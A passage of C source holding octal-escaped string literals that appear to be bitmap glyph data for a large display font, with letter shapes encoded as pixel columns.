\"\\377\\377\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\"\n  \"\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\377\\377\\377\\377\\377\\3\\3\\3\\3\\3\\3\\3\\3\\3\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\200\\200\\200\\200\\377\\377\\377\\377\\377\\200\\200\\200\\200\\200\\200\\200\\200\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\"\n  \"\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\377\\377\\377\\377\\377\\3\\3\\3\\3\"\n  \"\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0@\\340\\360\\370\\360\\340\\300\\300\\200\\200\\200\\200\\200\\300\\300\\340\\370\\377\\377\\377\\177\\37\\3\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300@\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\300\\300\"\n  \"\\300@\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374~\\77\\37\\17\\7\\3\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\200\\300\\340\\360\\370\\374\\177\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\370~\\77\\37\\37\\177\\377\\377\\371\\360\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\3\\7\\37\\77\\377\\377\\374\\370\\360\\300\\200\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\17\\77\\177\\377\\376\\374\\370\\340\"\n  \"\\300\\0\\0\\0\\0\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\7\\7\"\n  \"\\7\\7\\6\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300@\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\"\n  \"\\200\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\"\n  \"\\300\\300\\300\\0\\0\\377\\377\\377\\377\\377\\377\\374\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\370\\376\\377\\377\"\n  \"\\377\\377\\377\\0\\0\\377\\377\\377\\377\\377\\3\\17\\77\\377\\377\\374\\360\\300\\0\\0\\0\\0\\200\\340\\370\\376\\377\\77\\17\\3\\377\\377\"\n  \"\\377\\377\\377\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\3\\17\\77\\377\\377\\370\\370\\376\\377\\77\\17\\3\\0\\0\\0\\0\\377\\377\"\n  \"\\377\\377\\377\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\"\n  \"\\377\\377\\377\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\"\n  \"\\377\\377\\377\\0\\0\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\"\n  \"\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\"\n  \"\\300\\300\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\374\\360\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\377\\377\\377\\377\\377\\0\\3\\17\\37\\177\\377\\376\\370\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\1\\7\\37\\177\\377\\377\\374\\360\\300\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\77\\377\\377\\374\\370\\340\\200\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\37\\177\\377\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\7\\7\"\n  \"\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\300\\300\\300\\300\\300\\300\\300\\200\\200\\200\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\300\\360\\370\\374\\376\\177\\77\\37\\17\\7\\7\\7\\7\\7\\7\\7\\7\\17\\17\\37\\177\\376\\376\\374\\370\"\n  \"\\340\\300\\0\\0\\300\\374\\377\\377\\377\\377\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\377\\377\"\n  \"\\377\\377\\376\\340\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\"\n  \"\\377\\377\\377\\377\\7\\177\\377\\377\\377\\377\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\374\\377\"\n  \"\\377\\377\\377\\37\\0\\0\\3\\17\\37\\77\\377\\377\\374\\370\\340\\340\\300\\300\\200\\200\\200\\200\\200\\300\\300\\340\\360\\370\\374\\377\\177\\77\"\n  \"\\37\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\17\\7\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\200\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\3\\3\\3\\3\\3\\3\\3\\3\\3\\7\\7\\7\\7\\7\\17\\37\\77\\377\\377\\376\\374\"\n  \"\\360\\300\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\377\\377\\377\"\n  \"\\377\\177\\0\\0\\0\\0\\377\\377\\377\\377\\377xxxxxxxxxx||||~>\\77\\37\\37\\17\\7\"\n  \"\\1\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\300\\300\\300\\300\\300\\300\\300\\200\\200\\200\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\300\\360\\370\\374\\376\\177\\77\\37\\17\\7\\7\\7\\7\\7\\7\\7\\7\\17\\37\\37\\177\\376\\376\\374\\370\"\n  \"\\340\\300\\0\\0\\300\\374\\377\\377\\377\\377\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\377\\377\"\n  \"\\377\\377\\376\\340\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\377\"\n  \"\\377\\377\\377\\377\\17\\377\\377\\377\\377\\377\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\376\\377\"\n  \"\\377\\377\\377\\37\\0\\0\\7\\37\\77\\177\\377\\376\\370\\360\\340\\300\\200\\200\\200\\200\\0\\200\\200\\200\\300\\300\\340\\370\\374\\377\\377\\177\"\n  \"\\37\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\7\\7\\17\\17\\377\\377\\377\\377\\217\\17\\7\\7\\7\\3\\1\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\17\\37\\37\\37>>><>>>>\"\n  \">>\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\200\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\3\\3\\3\\3\\3\\3\\3\\3\\3\\7\\7\\7\\7\\7\\17\\37\\77\\377\\377\\376\\374\"\n  \"\\360\\300\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\377\\377\\377\"\n  \"\\377\\177\\0\\0\\0\\0\\377\\377\\377\\377\\377xxxxxxxxx\\370\\374\\374\\374\\374~>\\77\\37\\37\\17\\7\"\n  \"\\1\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\77\\377\\377\\374\\360\\340\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\77\\377\\377\\376\\370\"\n  \"\\340\\200\\0\\0\\0\\0\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\"\n  \"\\7\\7\\6\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\200\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\300\\360\\370\\374\\376\\177\\37\\17\\17\\7\\7\\7\\7\\3\\7\\7\\7\\7\\17\\17\\37\\77~\\376<\"\n  \"\\30\\0\\0\\0\\0\\0\\0\\37\\177\\377\\377\\377\\374\\360\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\7\\17\\17\\37\\37\\37>>|||\\370\\370\\360\\360\\340\\340\\300\\200\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\377\\377\"\n  \"\\377\\376\\370\\0\\0\\0p\\374\\376\\374\\370\\360\\340\\300\\300\\300\\200\\200\\200\\200\\200\\200\\200\\200\\300\\300\\340\\360\\370\\376\\377\\377\"\n  \"\\177\\37\\7\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\7\\7\\3\\3\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\"\n  \"\\300\\300\\300\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\377\\377\\377\\377\\377\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\"\n  \"\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300@\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\"\n  \"\\300\\300\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\377\\377\\377\\377\\377\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\3\\17\\77\\177\\377\\377\\374\\360\\340\\340\\300\\300\\200\\200\\200\\200\\200\\200\\300\\300\\340\\360\\370\\377\\377\\177\\77\"\n  \"\\37\\3\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\"\n  \"\\300\\300\\300\\300\\1\\17\\177\\377\\377\\377\\370\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\370\\377\\377\"\n  \"\\377\\77\\7\\0\\0\\0\\0\\3\\37\\377\\377\\377\\376\\360\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\376\\377\\377\\77\\17\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\77\\377\\377\\377\\374\\340\\0\\0\\0\\0\\0\\0\\300\\370\\377\\377\\177\\17\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\17\\177\\377\\377\\377\\370\\300\\200\\360\\376\\377\\377\\37\\3\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\37\\377\\377\\377\\377\\377\\77\\7\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\300\\300\\300\\300\\377\\377\\377\\377\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\376\\376\\370\\300\\0\\0\\0\\0\\0\\0\\0\\0\\340\"\n  \"\\377\\377\\377\\37\\0\\177\\377\\377\\377\\374\\0\\0\\0\\0\\0\\0\\340\\376\\377\\177\\377\\377\\377\\374\\300\\0\\0\\0\\0\\0\\360\\377\"\n  \"\\377\\377\\17\\0\\0\\0\\37\\377\\377\\377\\376\\200\\0\\0\\360\\377\\377\\77\\7\\0\\0\\17\\377\\377\\377\\374\\340\\0\\0\\360\\377\\377\"\n  \"\\377\\3\\0\\0\\0\\0\\0\\7\\377\\377\\377\\377\\360\\377\\377\\77\\3\\0\\0\\0\\0\\0\\0\\7\\177\\377\\377\\376\\370\\377\\377\\177\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\1\\177\\377\\377\\377\\77\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\177\\377\\377\\377\\37\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0@\\300\\300\\300\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\300\"\n  \"\\300@\\0\\0\\0\\0\\1\\7\\37\\177\\377\\377\\374\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\374\\377\\377\\177\\37\\7\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\17\\77\\377\\377\\376\\370\\340\\200\\340\\360\\374\\377\\377\\77\\17\\3\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\203\\357\\377\\377\\377\\377\\377\\377\\303\\200\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\374\\377\\377\\177\\37\\7\\1\\7\\37\\77\\377\\377\\376\\370\\340\\200\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\340\\360\\374\\377\\377\\177\\37\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\77\\177\\377\\376\\374\\360\"\n  \"\\300\\0\\0\\0\\0\\6\\7\\7\\7\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\7\\7\"\n  \"\\7\\7\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\300\\300\\300\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\"\n  \"\\300\\300@\\0\\0\\3\\17\\77\\377\\377\\376\\370\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\370\\376\\377\\377\\77\"\n  \"\\7\\1\\0\\0\\0\\0\\0\\0\\0\\3\\17\\77\\377\\377\\376\\370\\340\\200\\0\\0\\0\\0\\300\\360\\374\\377\\377\\77\\17\\3\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\77\\377\\377\\376\\370\\374\\377\\377\\177\\37\\3\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\"\n  \"\\300\\300\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\303\\343\\373\\377\\377\\177\\77\"\n  \"\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\370\\374\\377\\377\\77\\17\\7\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\370\\374\\377\\377\\77\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\370\\374\\377\\377\\77\\37\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\340\\370\\374\\377\\377\\377\\237\\207\\203\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\"\n  \"\\200\\300\\300\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\"\n  